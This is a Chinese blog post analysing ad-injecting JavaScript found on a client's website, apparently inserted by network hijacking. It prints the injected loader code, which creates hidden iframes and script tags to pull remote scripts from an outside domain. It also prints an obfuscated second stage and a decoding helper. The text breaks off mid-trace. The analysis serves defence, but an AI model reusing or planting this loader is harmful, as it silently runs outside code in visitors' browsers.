遭遇HTML被恶意注入JS弹广告,通过SSL证书学习及安装_服务器html传输到客户端后背js注入-优快云博客

本文链接：https://blog.youkuaiyun.com/sunwork888/article/details/97256486

本文详述了网站遭受恶意代码注入导致界面错乱的案例，深入分析了广告投放背后的网络劫持行为，并提出了HTTPS解决方案，以保障网站安全。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

起因

近期有客户反映界面错乱,本能的以为是缓存原因导致的,告知方法,操作无效,远程查看发现代码里面突然多了一句

http://45.32.21.251/1.js

好了,有线索就开始跟

if (typeof(PinkFlag) == 'undefined') {
    var PinkFlag = 1;
    setTimeout('pinka()', 500)
}
function pinka() {
    var ifm = [];
    var jsl = [];
    var i = 0;
    jsl[0] = "https://qw3.xxffmm.top/zds31/1.js";
    if (document.body == null) {
        setTimeout('pinkLoad()', 500);
        return
    }
    for (i = 0; i < ifm.length; i++) {
        pinkb(ifm[i])
    }
    for (i = 0; i < jsl.length; i++) {
        pinkc(jsl[i])
    }
}
function pinkb(url) {
    var ifm = document.createElement('iframe');
    ifm.setAttribute('src', url);
    ifm.setAttribute('width', 0);
    ifm.setAttribute('height', 0);
    ifm.setAttribute('frameborder', 0, 0);
    ifm.style.width = 0;
    ifm.style.height = 0;
    ifm.style.display = 'none';
    document.body.appendChild(ifm)
}
function pinkc(url) {
    var sobj = document.createElement('script');
    sobj.type = 'text/javascript';
    sobj.src = url;
    document.body.appendChild(sobj)
};

跟进https://qw3.xxffmm.top/zds31/1.js

function generateRandomAlphaNum(MmKKw$JlX1) {
    let rdmString = "";
    for (; rdmString["\x6c\x65\x6e\x67\x74\x68"] < MmKKw$JlX1; rdmString += window["\x4d\x61\x74\x68"]["\x72\x61\x6e\x64\x6f\x6d"]()["\x74\x6f\x53\x74\x72\x69\x6e\x67"](36)["\x73\x75\x62\x73\x74\x72"](2));
    return rdmString["\x73\x75\x62\x73\x74\x72"](0, MmKKw$JlX1);
}
function iframe(mrsC$gj2) {
    let iframe_code = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"]("\x64\x69\x76");
    iframe_code["\x73\x74\x79\x6c\x65"]["\x64\x69\x73\x70\x6c\x61\x79"] = "\x6e\x6f\x6e\x65";
    iframe_code["\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65"]("\x69\x64", generateRandomAlphaNum(6));
    let ifr = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"]("\x69\x66\x72\x61\x6d\x65");
    ifr["\x73\x72\x63"] = mrsC$gj2;
    iframe_code["\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64"](ifr);
    window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x62\x6f\x64\x79"]["\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64"](iframe_code);
    return iframe_code;
}
iframe('\x68\x74\x74\x70\x73\x3a\x2f\x2f\x71\x77\x33\x2e\x78\x78\x66\x66\x6d\x6d\x2e\x74\x6f\x70\x2f\x7a\x64\x73\x33\x31\x2f\x69\x6e\x64\x65\x78\x2e\x68\x74\x6d\x6c');

跟进,居然还对JS加密了,跳转了一次又加密,手工解密


<html>
<head>

</head>
<body>
<div id="context">

</div>
<script type="text/javascript">
	var x=document.getElementById("context")
    var _0xb200=["\x6c\x65\x6e\x67\x74\x68","\x4d\x61\x74\x68","\x72\x61\x6e\x64\x6f\x6d","\x74\x6f\x53\x74\x72\x69\x6e\x67","\x73\x75\x62\x73\x74\x72","\x73\x75\x62\x73\x74\x72"
	,"\x64\x6f\x63\x75\x6d\x65\x6e\x74","\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74","\x64\x69\x76","\x73\x74\x79\x6c\x65","\x64\x69\x73\x70\x6c\x61\x79","\x6e\x6f\x6e\x65"
	,"\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x69\x64","\x64\x6f\x63\x75\x6d\x65\x6e\x74","\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74","\x69\x66\x72\x61\x6d\x65"
	,"\x73\x72\x63","\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64","\x64\x6f\x63\x75\x6d\x65\x6e\x74","\x62\x6f\x64\x79","\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64"
	,"\x64\x6f\x63\x75\x6d\x65\x6e\x74","\x62\x6f\x64\x79","\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64"
	,"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x71\x77\x33\x2e\x78\x78\x66\x66\x6d\x6d\x2e\x74\x6f\x70\x2f\x7a\x64\x73\x33\x31\x2f\x69\x6e\x64\x65\x78\x2e\x68\x74\x6d\x6c"	];
    for(var i =0; i < _0xb200.length; i++){
        //alert(i +': '+ _0xb200[i]);
		x.innerHTML += i +': '+ _0xb200[i]+'<br/>';
    }
 
</script>
</body>
</html>

跟进输出结果

0: length
1: Math
2: random
3: toString
4: substr
5: substr
6: document
7: createElement
8: div
9: style
10: display
11: none
12: setAttribute
13: id
14: document
15: createElement
16: iframe
17: src
18: appendChild
19: document
20: body
21: appendChild
22: document
23: body
24: appendChild
25: https://qw3.xxffmm.top/zds31/index.html

继续跟进https://qw3.xxffmm.top/zds31/index.html